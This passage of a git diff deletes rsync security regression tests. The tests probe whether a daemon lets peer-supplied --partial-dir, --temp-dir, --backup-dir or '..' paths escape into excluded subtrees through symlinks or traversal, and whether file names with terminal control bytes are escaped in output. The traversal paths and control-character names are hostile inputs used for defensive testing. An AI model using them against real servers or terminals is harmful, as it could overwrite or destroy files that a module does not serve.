'src'\n-src.mkdir()\n-(src / 'f0').write_text(PUSHED)\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-proc = subprocess.run(\n-    rsync_argv('-a', '--delay-updates', '--partial-dir=/blink',\n-               f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-# The security oracle -- the outside-module victim must never be clobbered --\n-# holds at every protocol and is checked unconditionally below.  The stronger\n-# \"daemon actively rejects the forced --partial-dir operand\" behavior only\n-# applies at protocol 30+; at protocol 29 the operand is handled differently and\n-# the transfer completes normally (dest replaced, victim still untouched), so\n-# gate just that secondary check.\n-proto = forced_protocol()\n-dest_after = dest.read_text() if dest.exists() else None\n-if proto is None or proto >= 30:\n-    if proc.returncode == 0 or dest_after != OLD_DEST:\n-        test_fail(\n-            \"the daemon did not reject the forced --partial-dir staging path: \"\n-            f\"rsync exited {proc.returncode} and {dest} is now {dest_after!r}. \"\n-            \"If the operand were ignored, the upload would replace the destination \"\n-            f\"with {PUSHED!r}.\")\n-else:\n-    # At protocol 29 the operand is handled differently: the transfer must still\n-    # complete normally (no escape) rather than fail for an unrelated reason, so\n-    # require the known-good outcome instead of skipping the check entirely.\n-    if proc.returncode != 0 or dest_after != PUSHED:\n-        test_fail(\n-            \"protocol-29 --partial-dir run did not complete normally: rsync exited \"\n-            f\"{proc.returncode} and {dest} is {dest_after!r} (expected a clean \"\n-            f\"transfer replacing it with {PUSHED!r})\")\n-\n-after = victim.read_text() if victim.exists() else None\n-if after != SECRET:\n-    test_fail(\n-        \"the daemon followed a --partial-dir symlink outside the module: \"\n-        f\"{victim} is now {after!r} (a peer backed up over a file the module \"\n-        \"does not serve).\")\n-print(\"daemon confines a peer-supplied --partial-dir symlink to the served set\")\ndiff --git a/testsuite/operator-path-partial-dir-exclude-daemon_test.py b/testsuite/operator-path-partial-dir-exclude-daemon_test.py\ndeleted file mode 100644\nindex 43f0549..0000000\n--- a/testsuite/operator-path-partial-dir-exclude-daemon_test.py\n+++ /dev/null\n@@ -1,63 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon must not let a peer-supplied --partial-dir reach the module's EXCLUDED\n-# subtree via a symlink.  (Reported by Omar Elsayed.)\n-#\n-# The module excludes a subtree (exclude = /secret/).  An in-module symlink owned\n-# by the daemon's euid (in Omar's PoC the daemon is root and the symlink is\n-# root-owned) points at that excluded subtree.  A peer transfers with\n-# --partial-dir pointing at the symlink: the received file is staged through the\n-# symlink into the excluded subtree and the existing file there is overwritten /\n-# renamed away -- destroying a file the module does not serve.\n-#\n-# secure_relative_open() confines beneath the module root but FOLLOWS in-module\n-# symlinks, so it does not stop this; only resolving with the module exclude\n-# filter applied refuses landing in the excluded subtree.  The symlink is euid-\n-# owned (the followed case) and the test runs unprivileged -- the boundary under\n-# test is the module exclude, not a uid boundary.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12903\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'partialdirdaemon'\n-rmtree(base)\n-base.mkdir()\n-\n-mod = base / 'mod'\n-secret = mod / 'secret'                      # excluded subtree (exclude = /secret/)\n-secret.mkdir(parents=True)\n-victim = secret / 'f0'\n-victim.write_text(SECRET)                    # a file the staging must not destroy\n-\n-blink = mod / 'blink'                        # euid-owned symlink -> excluded subtree\n-os.symlink('secret', blink)\n-\n-src = base / 'src'\n-src.mkdir()\n-(src / 'f0').write_text(\"NEW-PUSHED-CONTENT\\n\")   # same basename as the protected file\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(mod), 'read only': 'no', 'exclude': '/secret/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# partial_dir_fname() builds <partial-dir>/f0, which the basis/staging path opens\n-# (through the symlink) and then renames/unlinks.\n-subprocess.run(\n-    rsync_argv('-a', '--partial-dir=/blink', f'{src}/', f'{url}mod/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after == SECRET:\n-    test_fail(\n-        \"the daemon refused a --partial-dir symlink that stock rsync (3.2.7) \"\n-        f\"follows: {victim} is unchanged ({after!r}).  The daemon exclude filter \"\n-        \"is name-based ('blink' is not excluded), not a symlink boundary; it must \"\n-        \"not block this (use `munge symlinks` to defend a writable module).\")\n-print(\"daemon exclude is name-based: a --partial-dir symlink whose name is not \"\n-      \"excluded is followed (3.2.7-equivalent)\")\ndiff --git a/testsuite/operator-path-partial-dir_test.py b/testsuite/operator-path-partial-dir_test.py\ndeleted file mode 100644\nindex d80c94f..0000000\n--- a/testsuite/operator-path-partial-dir_test.py\n+++ /dev/null\n@@ -1,80 +0,0 @@\n-#!/usr/bin/env python3\n-# --partial-dir symlink policy (absolute, parent-component), create and reuse.\n-#\n-# With --delay-updates the receiver stages every file in the --partial-dir before\n-# the final rename, so handle_partial_dir() must resolve (and, on first use,\n-# create) the partial dir for each file.  An ABSOLUTE --partial-dir whose parent\n-# component is a symlink was followed by the bare do_*_at() path syscalls (an\n-# absolute path is operator-trusted), so a foreign-owned parent symlink\n-# redirected the staging dir -- and the staged file -- out of the tree.\n-#\n-# The fix routes handle_partial_dir() through the operator-path ownership walk:\n-# it refuses a foreign-owned parent symlink for both the do_mkdir_at() that\n-# creates the partial dir and the do_lstat_at() that reuses an existing one, so\n-# nothing is staged out of tree.  --insecure-links opts out locally.  Restricted\n-# to {abs} x {parent}: a relative partial dir is already confined by\n-# robust_rename()'s strict resolver, and the leaf form is replaced by a real\n-# in-tree dir (the leaf is opened O_NOFOLLOW), so neither models this escape.\n-#\n-# escape is the partial dir itself: opt's parent component (opd) is the planted\n-# symlink, so opt=<plant>/opd/sub resolves to <outside>/sub.  Two cells, because\n-# the gate guards two distinct syscalls on that path:\n-#   create -- the partial dir does not exist yet, so the receiver must mkdir it\n-#             through the parent symlink; followed == the out-of-tree leaf appears.\n-#   reuse  -- the partial dir already exists (the common case for a reserved\n-#             absolute partial-dir reused across runs), so the receiver lstats and\n-#             stages into it; followed == the staged file advances the leaf's mtime.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-PINNED = 1000000000   # 2001-09-09; any later mtime means it was touched\n-\n-\n-def _setup(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    (src / 'f0').write_text(\"PAYLOAD-DATA\\n\")\n-    return plant_operator_symlink(ctx, dest)\n-\n-\n-def _run(ctx, opt):\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', '--delay-updates', f'--partial-dir={opt}', *extra,\n-                   'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-\n-def case_create(ctx):\n-    # Leaf absent: the receiver must mkdir the partial dir through the parent\n-    # symlink.  Followed == that mkdir landed out of tree (an absolute partial-dir\n-    # is not rmdir'd at the end, so the leaf survives to be observed).\n-    opt, escape = _setup(ctx)\n-    _run(ctx, opt)\n-    return escape.exists()\n-\n-\n-def case_reuse(ctx):\n-    # Leaf present: the receiver lstats the existing partial dir and stages into\n-    # it.  Followed == the staged file advances the out-of-tree leaf's mtime.\n-    opt, escape = _setup(ctx)\n-    escape.mkdir(parents=True, exist_ok=True)\n-    # Pinned epoch rather than a sub-second delta: on a 1-second-granularity\n-    # filesystem such as HFS+ a same-second change is invisible, and the delta\n-    # test then reports a followed symlink as refused.\n-    os.utime(escape, (PINNED, PINNED))\n-    pinned = escape.stat().st_mtime   # what the fs actually stored\n-    _run(ctx, opt)\n-    return escape.stat().st_mtime != pinned\n-\n-\n-run_symlink_matrix('--partial-dir', case_create, paths=('abs',), wheres=('parent',),\n-                   label='create')\n-run_symlink_matrix('--partial-dir', case_reuse, paths=('abs',), wheres=('parent',),\n-                   label='reuse')\n-print(\"--partial-dir symlink policy (abs, parent; create + reuse): enforced\")\ndiff --git a/testsuite/operator-path-temp-dir_test.py b/testsuite/operator-path-temp-dir_test.py\ndeleted file mode 100644\nindex de6ac90..0000000\n--- a/testsuite/operator-path-temp-dir_test.py\n+++ /dev/null\n@@ -1,43 +0,0 @@\n-#!/usr/bin/env python3\n-# --temp-dir symlink policy matrix.  A followed --temp-dir symlink makes the\n-# receiver create its scratch temp file in an out-of-tree directory (the data is\n-# written there, then renamed to dest).  The temp is renamed away, so we detect\n-# the escape by the target directory's mtime advancing (a file was created in\n-# it).  The ownership walk must follow only uid0/euid-owned symlinks; a relative\n-# --temp-dir anchors at the cwd.  --insecure-links is the local opt-out.\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-PINNED = 1000000000   # 2001-09-09; any later mtime means it was touched\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    (src / 'f0').write_text(\"PAYLOAD-DATA\\n\")\n-    # A relative --temp-dir is resolved by the receiver, whose cwd is the\n-    # destination directory -- so a relative plant anchors at dest, not the cwd.\n-    opt, escape = plant_operator_symlink(ctx, dest)\n-    escape.mkdir(parents=True, exist_ok=True)            # --temp-dir must exist\n-    # Pin the mtime far in the past rather than sampling it and looking for a\n-    # sub-second delta: HFS+ (and any filesystem with 1-second timestamps)\n-    # cannot show a change that happens within the same second, so a delta test\n-    # reads \"not followed\" for a symlink that WAS followed.  Against a pinned\n-    # epoch, any update at all is visible at any resolution.\n-    os.utime(escape, (PINNED, PINNED))\n-    pinned = escape.stat().st_mtime   # what the fs actually stored\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', f'--temp-dir={opt}', *extra, 'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    # Followed == the receiver created its temp in the out-of-tree dir.\n-    return escape.stat().st_mtime != pinned\n-\n-\n-run_symlink_matrix('--temp-dir', case)\n-print(\"--temp-dir symlink policy matrix: enforced\")\ndiff --git a/testsuite/operator-path-traversal-backup-dir-daemon_test.py b/testsuite/operator-path-traversal-backup-dir-daemon_test.py\ndeleted file mode 100644\nindex 8af6723..0000000\n--- a/testsuite/operator-path-traversal-backup-dir-daemon_test.py\n+++ /dev/null\n@@ -1,67 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon --backup-dir \"..\" traversal into the module's excluded subtree, on a\n-# `path = /` module.  (Reported by Omar Elsayed.)  Overwriting an existing dest\n-# file triggers a backup of the OLD file; the peer-supplied --backup-dir climbs\n-# via \"..\" back into the excluded subtree, so the backup must not land there.\n-# Sandbox-anchored under SCRATCHDIR (Omar's original wrote to the real /secret),\n-# so it runs unprivileged; the module still serves \"/\".\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf, test_skipped,\n-)\n-\n-DAEMON_PORT = 12964\n-\n-# rsyncd.conf's \"exclude\" is a SPACE-SEPARATED pattern list, so a path with a\n-# space in it cannot be expressed there at all -- the pattern silently matches\n-# nothing and the traversal below then \"escapes\" for a reason that has nothing\n-# to do with the protection under test.  (\"filter\" is space-safe and does hold;\n-# verified by running this same case with a filter rule.)  Skip rather than\n-# report a bogus escape.\n-if ' ' in str(SCRATCHDIR):\n-    test_skipped(\"scratch path contains a space; rsyncd.conf 'exclude' is a \"\n-                 \"space-separated list and cannot express such a pattern\")\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'traversal-backup-dir-daemon'\n-rmtree(base)\n-base.mkdir()\n-\n-backup = base / 'backup-dir-daemon'\n-backup.mkdir()\n-\n-secret = base / 'secret'                          # excluded subtree\n-secret.mkdir()\n-victim = secret / 'f0'\n-victim.write_text(SECRET)                          # the backup must not clobber it\n-\n-dest = backup / 'dest'\n-dest.mkdir()\n-(dest / 'f0').write_text(\"OLD-DESTINATION-FILE-CONTENT\\n\")   # existing -> backed up\n-src = backup / 'src'\n-src.mkdir()\n-sub = src / 'sub'\n-sub.mkdir()\n-(src / 'f0').write_text(\"NEW-PUSHED-CONTENT\\n\")     # differs -> overwrite\n-\n-base_rel = str(base).lstrip('/')\n-conf = write_daemon_conf(\n-    [('everything', {'path': '/', 'read only': 'no', 'exclude': str(secret) + '/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv(\n-        '-a', '--backup',\n-        f'--backup-dir=/{base_rel}/backup-dir-daemon/src/sub/../../../secret/',\n-        f'{src}/',\n-        f'{url}everything/{base_rel}/backup-dir-daemon/dest',\n-    ),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after != SECRET:\n-    test_fail(\"escaped: a --backup-dir '..' traversal reached the excluded subtree \"\n-              f\"({victim} is now {after!r})\")\n-print(\"did not escape\")\ndiff --git a/testsuite/operator-path-traversal-dest-dir-daemon_test.py b/testsuite/operator-path-traversal-dest-dir-daemon_test.py\ndeleted file mode 100644\nindex 594d3cc..0000000\n--- a/testsuite/operator-path-traversal-dest-dir-daemon_test.py\n+++ /dev/null\n@@ -1,62 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon destination \"..\" traversal into the module's excluded subtree, on a\n-# `path = /` module.  (Reported by Omar Elsayed.)  The peer pushes to a dest that\n-# climbs out of an in-module dir back into the excluded subtree via \"..\".\n-# Sandbox-anchored under SCRATCHDIR (Omar's original wrote to the real /secret),\n-# so it runs unprivileged; the module still serves \"/\" so the traversal is real.\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf, test_skipped,\n-)\n-\n-DAEMON_PORT = 12963\n-\n-# rsyncd.conf's \"exclude\" is a SPACE-SEPARATED pattern list, so a path with a\n-# space in it cannot be expressed there at all -- the pattern silently matches\n-# nothing and the traversal below then \"escapes\" for a reason that has nothing\n-# to do with the protection under test.  (\"filter\" is space-safe and does hold;\n-# verified by running this same case with a filter rule.)  Skip rather than\n-# report a bogus escape.\n-if ' ' in str(SCRATCHDIR):\n-    test_skipped(\"scratch path contains a space; rsyncd.conf 'exclude' is a \"\n-                 \"space-separated list and cannot express such a pattern\")\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'traversal-dest-dir-daemon'\n-rmtree(base)\n-base.mkdir()\n-\n-dest = base / 'dest-dir-daemon'\n-dest.mkdir()\n-\n-secret = base / 'secret'                          # excluded subtree\n-secret.mkdir()\n-victim = secret / 'f0'\n-victim.write_text(SECRET)\n-\n-src = dest / 'src'\n-src.mkdir()\n-sub = src / 'sub'\n-sub.mkdir()\n-(src / 'f0').write_text(\"NEW-PUSHED-CONTENT\\n\")\n-\n-base_rel = str(base).lstrip('/')\n-conf = write_daemon_conf(\n-    [('everything', {'path': '/', 'read only': 'no', 'exclude': str(secret) + '/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv(\n-        '-a',\n-        f'{src}/',\n-        f'{url}everything/{base_rel}/dest-dir-daemon/src/sub/../../../secret/',\n-    ),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after != SECRET:\n-    test_fail(\"escaped: a dest '..' traversal reached the excluded subtree \"\n-              f\"({victim} is now {after!r})\")\n-print(\"did not escape\")\ndiff --git a/testsuite/operator-path-traversal-partial-dir-daemon_test.py b/testsuite/operator-path-traversal-partial-dir-daemon_test.py\ndeleted file mode 100644\nindex ea50ed4..0000000\n--- a/testsuite/operator-path-traversal-partial-dir-daemon_test.py\n+++ /dev/null\n@@ -1,67 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon --partial-dir \"..\" traversal into the module's excluded subtree, on a\n-# `path = /` module.  (Reported by Omar Elsayed.)  The peer-supplied --partial-dir\n-# climbs via \"..\" back into the excluded subtree; a staged partial must not land\n-# there.  Sandbox-anchored under SCRATCHDIR (Omar's original wrote to the real\n-# /secret), so it runs unprivileged; the module still serves \"/\".\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf, test_skipped,\n-)\n-\n-DAEMON_PORT = 12965\n-\n-# rsyncd.conf's \"exclude\" is a SPACE-SEPARATED pattern list, so a path with a\n-# space in it cannot be expressed there at all -- the pattern silently matches\n-# nothing and the traversal below then \"escapes\" for a reason that has nothing\n-# to do with the protection under test.  (\"filter\" is space-safe and does hold;\n-# verified by running this same case with a filter rule.)  Skip rather than\n-# report a bogus escape.\n-if ' ' in str(SCRATCHDIR):\n-    test_skipped(\"scratch path contains a space; rsyncd.conf 'exclude' is a \"\n-                 \"space-separated list and cannot express such a pattern\")\n-SECRET = \"PROTECTED-IN-EXCLUDED-SUBTREE\\n\"\n-\n-base = SCRATCHDIR / 'traversal-partial-dir-daemon'\n-rmtree(base)\n-base.mkdir()\n-\n-partial = base / 'partial-dir-daemon'\n-partial.mkdir()\n-\n-secret = base / 'secret'                          # excluded subtree\n-secret.mkdir()\n-victim = secret / 'f0'\n-victim.write_text(SECRET)\n-\n-dest = partial / 'dest'\n-dest.mkdir()\n-src = partial / 'src'\n-src.mkdir()\n-sub = src / 'sub'\n-sub.mkdir()\n-(src / 'f0').write_text(\"NEW-PUSHED-CONTENT\\n\")\n-\n-base_rel = str(base).lstrip('/')\n-conf = write_daemon_conf(\n-    [('everything', {'path': '/', 'read only': 'no', 'exclude': str(secret) + '/'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-subprocess.run(\n-    rsync_argv(\n-        '-a',\n-        f'--partial-dir=/{base_rel}/partial-dir-daemon/src/sub/../../../secret/',\n-        f'{src}/',\n-        f'{url}everything/{base_rel}/partial-dir-daemon/dest',\n-    ),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-after = victim.read_text() if victim.exists() else None\n-if after is None:\n-    test_fail(\"escaped: a --partial-dir '..' traversal DELETED the excluded victim\")\n-if after != SECRET:\n-    test_fail(\"escaped: a --partial-dir '..' traversal OVERWROTE the excluded victim \"\n-              f\"({victim} is now {after!r})\")\n-print(\"did not escape\")\ndiff --git a/testsuite/operator-path-write-batch_test.py b/testsuite/operator-path-write-batch_test.py\ndeleted file mode 100644\nindex 63702d1..0000000\n--- a/testsuite/operator-path-write-batch_test.py\n+++ /dev/null\n@@ -1,27 +0,0 @@\n-#!/usr/bin/env python3\n-# --write-batch symlink policy matrix (batch.c open site, shared with\n-# --read-batch / --only-write-batch).  Already refuses a foreign-owned symlink\n-# but does not honor --insecure-links -- RED on the insecure cells.\n-\n-import subprocess\n-\n-from rsyncfns import rsync_argv, run_symlink_matrix, plant_operator_symlink\n-\n-\n-def case(ctx):\n-    src = ctx.base / 'src'\n-    dest = ctx.base / 'dest'\n-    src.mkdir()\n-    dest.mkdir()\n-    (src / 'f0').write_text(\"data\\n\")\n-    opt, victim = plant_operator_symlink(ctx, ctx.base, kind='file')\n-    extra = ['--insecure-links'] if ctx.insecure else []\n-    subprocess.run(\n-        rsync_argv('-a', f'--write-batch={opt}', *extra, 'src/', 'dest/'),\n-        cwd=str(ctx.base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    # Followed == the batch file was written through the symlink, out-of-tree.\n-    return victim.is_file()\n-\n-\n-run_symlink_matrix('--write-batch', case)\n-print(\"--write-batch symlink policy matrix: enforced\")\ndiff --git a/testsuite/output-control-chars_test.py b/testsuite/output-control-chars_test.py\ndeleted file mode 100644\nindex 6b5595e..0000000\n--- a/testsuite/output-control-chars_test.py\n+++ /dev/null\n@@ -1,125 +0,0 @@\n-#!/usr/bin/env python3\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-\n-def available_locales():\n-    proc = subprocess.run(['locale', '-a'], stdout=subprocess.PIPE,\n-                          stderr=subprocess.DEVNULL)\n-    if proc.returncode != 0:\n-        return {}\n-    return {name.lower(): name for name in proc.stdout.decode('ascii', 'ignore').splitlines()}\n-\n-\n-LOCALES = available_locales()\n-\n-\n-def find_locale(locale_names):\n-    return next((LOCALES[candidate.lower()] for candidate in locale_names\n-                 if candidate.lower() in LOCALES), None)\n-\n-\n-def check_locale_case(label, locale_names, name, expected, rejected):\n-    locale_name = find_locale(locale_names)\n-    if locale_name is None:\n-        return False\n-\n-    case = base / label\n-    case_src = case / 'src'\n-    case_dst = case / 'dst'\n-    case_src.mkdir(parents=True)\n-    case_dst.mkdir()\n-    env = os.environ.copy()\n-    env['LC_ALL'] = locale_name\n-\n-    try:\n-        create = subprocess.run(\n-            [b'touch', os.fsencode(case_src) + b'/' + name], env=env,\n-            stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n-        if create.returncode != 0:\n-            return False\n-        proc = subprocess.run(\n-            rsync_argv('-av', '--8-bit-output', str(case_src) + '/',\n-                       str(case_dst) + '/'),\n-            stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env)\n-        if proc.returncode != 0:\n-            test_fail(f\"rsync failed under {locale_name}: {proc.stderr!r}\")\n-        output = proc.stdout + proc.stderr\n-        if expected not in output or rejected in output:\n-            test_fail(f\"incorrect filtering under {locale_name}: {output!r}\")\n-    finally:\n-        cleanup = subprocess.run(\n-            [b'rm', b'-rf', b'--', os.fsencode(case)], env=env,\n-            stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n-        if cleanup.returncode != 0:\n-            test_fail(f\"cleanup failed under {locale_name}: {cleanup.stderr!r}\")\n-    return True\n-\n-base = SCRATCHDIR / 'output-control-chars'\n-src = base / 'src'\n-dst = base / 'dst'\n-rmtree(base)\n-src.mkdir(parents=True)\n-dst.mkdir()\n-\n-src_b = os.fsencode(src)\n-names = {\n-    'raw_csi': b'raw_\\x9b_name',\n-    'utf8_csi': b'utf8_\\xc2\\x9b_name',\n-    'valid_utf8': b'valid_\\xd8\\x9b_name',\n-    'leading_cr': b'\\rleading_cr_name',\n-    'delete': b'delete_\\x7f_name',\n-}\n-created = {}\n-for label, name in names.items():\n-    try:\n-        with open(src_b + b'/' + name, 'wb') as fh:\n-            fh.write(b'x')\n-        created[label] = name\n-    except OSError:\n-        pass\n-\n-utf8_locale = find_locale(('C.UTF-8', 'C.utf8', 'en_US.UTF-8', 'en_US.utf8'))\n-env = os.environ.copy()\n-if utf8_locale is not None:\n-    env['LC_ALL'] = utf8_locale\n-proc = subprocess.run(\n-    rsync_argv('-av', '--8-bit-output', str(src) + '/', str(dst) + '/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env)\n-if proc.returncode != 0:\n-    test_fail(f\"rsync failed with status {proc.returncode}: {proc.stderr!r}\")\n-\n-output = proc.stdout + proc.stderr\n-if utf8_locale is not None and 'utf8_csi' in created:\n-    if b'\\xc2\\x9b' in output:\n-        test_fail(\"UTF-8-encoded CSI reached terminal output\")\n-    if b'\\\\#302\\\\#233' not in output:\n-        test_fail(\"UTF-8-encoded CSI was not escaped byte-for-byte\")\n-if 'raw_csi' in created and names['raw_csi'] in output:\n-    test_fail(\"raw CSI reached terminal output\")\n-if 'raw_csi' in created and b'\\\\#233' not in output:\n-    test_fail(\"raw CSI was not escaped\")\n-if (utf8_locale is not None and 'valid_utf8' in created\n-        and names['valid_utf8'] not in output):\n-    test_fail(\"valid UTF-8 containing a C1-range continuation byte was changed\")\n-if 'leading_cr' in created and names['leading_cr'] in output:\n-    test_fail(\"leading carriage return reached terminal output\")\n-if 'leading_cr' in created and b'\\\\#015leading_cr_name' not in output:\n-    test_fail(\"leading carriage return was not escaped\")\n-if 'delete' in created and names['delete'] in output:\n-    test_fail(\"DEL reached terminal output\")\n-if 'delete' in created and b'delete_\\\\#177_name' not in output:\n-    test_fail(\"DEL was not escaped\")\n-\n-locale_cases = 0\n-locale_cases += check_locale_case(\n-    'iso-8859-1', ('en_US.ISO-8859-1', 'no_NO.ISO-8859-1'),\n-    b'iso_\\xd8\\x9b_name', b'iso_\\xd8\\\\#233_name', b'iso_\\xd8\\x9b_name')\n-locale_cases += check_locale_case(\n-    'euc-jp', ('ja_JP.eucJP', 'ja_JP.ujis', 'japanese.euc'),\n-    b'euc_\\x8e\\xb1_name', b'euc_\\x8e\\xb1_name', b'euc_\\\\#216\\\\#261_name')\n-\n-print(\"output-control-chars: terminal controls escaped and valid multibyte text \"\n-      f\"preserved ({locale_cases} optional locale cases)\")\ndiff --git a/testsuite/output-options_test.py b/testsuite/output-options_test.py\ndeleted file mode 100644\nindex bf23743..0000000\n--- a/testsuite/output-options_test.py\n+++ /dev/null\n@@ -1,201 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Breadth coverage of the output / reporting options.\n-\n-These options control rsync's OUTPUT, not its path handling, so they are\n-checked for the documented output shape rather than at depth:\n-  --version, --help, --itemize-changes (-i), --dry-run (-n), --stats,\n-  --out-format, --list-only, --quiet (-q), --progress, -h, -8.\n-\n-Every rsync run that is expected to succeed has its exit status checked (a\n-silent failure must not pass as \"no output\"), and the format-changing options\n-(-h, -8) assert the documented difference rather than merely \"didn't break\".\n-\"\"\"\n-\n-import os\n-import re\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_not_exists, make_data_file, make_tree, makepath, rmtree, rsync_argv,\n-    test_fail, verify_dirs,\n-)\n-\n-src = FROMDIR\n-\n-\n-def out(*args, want_rc=0, env=None, text=True):\n-    \"\"\"Run rsync capturing output. Unless want_rc is None, fail the test if the\n-    exit status isn't want_rc -- so a broken transfer can't masquerade as the\n-    expected (often empty) output.\"\"\"\n-    p = subprocess.run(rsync_argv(*args), capture_output=True, text=text, env=env)\n-    if want_rc is not None and p.returncode != want_rc:\n-        err = p.stderr if text else p.stderr.decode('latin-1', 'replace')\n-        test_fail(f\"rsync {' '.join(args)} exited {p.returncode}, \"\n-                  f\"expected {want_rc}:\\n{err}\")\n-    return p\n-\n-\n-# --- --version / --help -----------------------------------------------------\n-p = out('--version')\n-if 'protocol version' not in p.stdout:\n-    test_fail(f\"--version output unexpected:\\n{p.stdout}\")\n-p = out('--help')\n-help_txt = p.stdout + p.stderr\n-if 'rsync' not in help_txt or 'Usage' not in help_txt:\n-    test_fail(\"--help did not print usage\")\n-\n-rmtree(src)\n-rmtree(TODIR)\n-make_tree(src, depth=2)\n-\n-# --- --itemize-changes: a new file shows the create itemization -------------\n-p = out('-ai', f'{src}/', f'{TODIR}/')\n-if '>f+++++++++' not in p.stdout:\n-    test_fail(f\"--itemize-changes missing create line:\\n{p.stdout}\")\n-\n-# --- --dry-run lists but does not create ------------------------------------\n-rmtree(TODIR)\n-p = out('-ain', f'{src}/', f'{TODIR}/')\n-if '>f+++++++++' not in p.stdout:\n-    test_fail(\"--dry-run itemize output missing\")\n-assert_not_exists(TODIR / 'f0', label='--dry-run created a file')\n-\n-# --- --stats prints the summary block ---------------------------------------\n-rmtree(TODIR)\n-p = out('-a', '--stats', f'{src}/', f'{TODIR}/')\n-if 'Number of files:' not in p.stdout or 'Total file size:' not in p.stdout:\n-    test_fail(f\"--stats output missing expected lines:\\n{p.stdout}\")\n-\n-# --- --out-format=%n emits bare filenames -----------------------------------\n-rmtree(TODIR)\n-p = out('-a', '--out-format=%n', f'{src}/', f'{TODIR}/')\n-if 'f0' not in p.stdout:\n-    test_fail(f\"--out-format=%n did not emit filenames:\\n{p.stdout}\")\n-\n-# --- --list-only lists the source without copying ---------------------------\n-# Pass a destination too: without --list-only this transfer would populate\n-# TODIR, so the assert_not_exists below actually proves the \"without copying\"\n-# property rather than being vacuously true for a destination-less command.\n-rmtree(TODIR)\n-p = out('--list-only', '-r', f'{src}/', f'{TODIR}/')\n-if 'f0' not in p.stdout:\n-    test_fail(f\"--list-only did not list files:\\n{p.stdout}\")\n-assert_not_exists(TODIR / 'f0', label='--list-only copied a file')\n-\n-# --- --quiet suppresses normal stdout BUT still transfers -------------------\n-# Checking only for empty stdout would also pass if the transfer silently\n-# failed, so confirm the destination actually received the tree.\n-rmtree(TODIR)\n-p = out('-a', '-q', f'{src}/', f'{TODIR}/')\n-if p.stdout.strip() != '':\n-    test_fail(f\"--quiet produced stdout: {p.stdout!r}\")\n-verify_dirs(src, TODIR, label='--quiet still transferred')\n-\n-# --- --progress shows a percentage ------------------------------------------\n-rmtree(TODIR)\n-p = out('-a', '--progress', f'{src}/', f'{TODIR}/')\n-progress_re = r'[\\d,.]+B\\s+100%\\s+[\\d,.]+(?:[KMGTPE]i?)?B/s\\s+\\d+:\\d\\d:\\d\\d'\n-if not re.search(progress_re, p.stdout):\n-    test_fail(f\"--progress did not show the expected final shape:\\n{p.stdout}\")\n-\n-# --quiet must suppress the progress carriage return as well as its text.\n-rmtree(TODIR)\n-p = out('-a', '-q', '--progress', f'{src}/', f'{TODIR}/')\n-if p.stdout != '':\n-    test_fail(f\"--quiet --progress produced stdout: {p.stdout!r}\")\n-verify_dirs(src, TODIR, label='--quiet --progress still transferred')\n-\n-# --- -h / --human-readable formats byte counts with a unit suffix -----------\n-# Without -h, --stats prints grouped digits (\"50,000 bytes\"); with -h it uses a\n-# 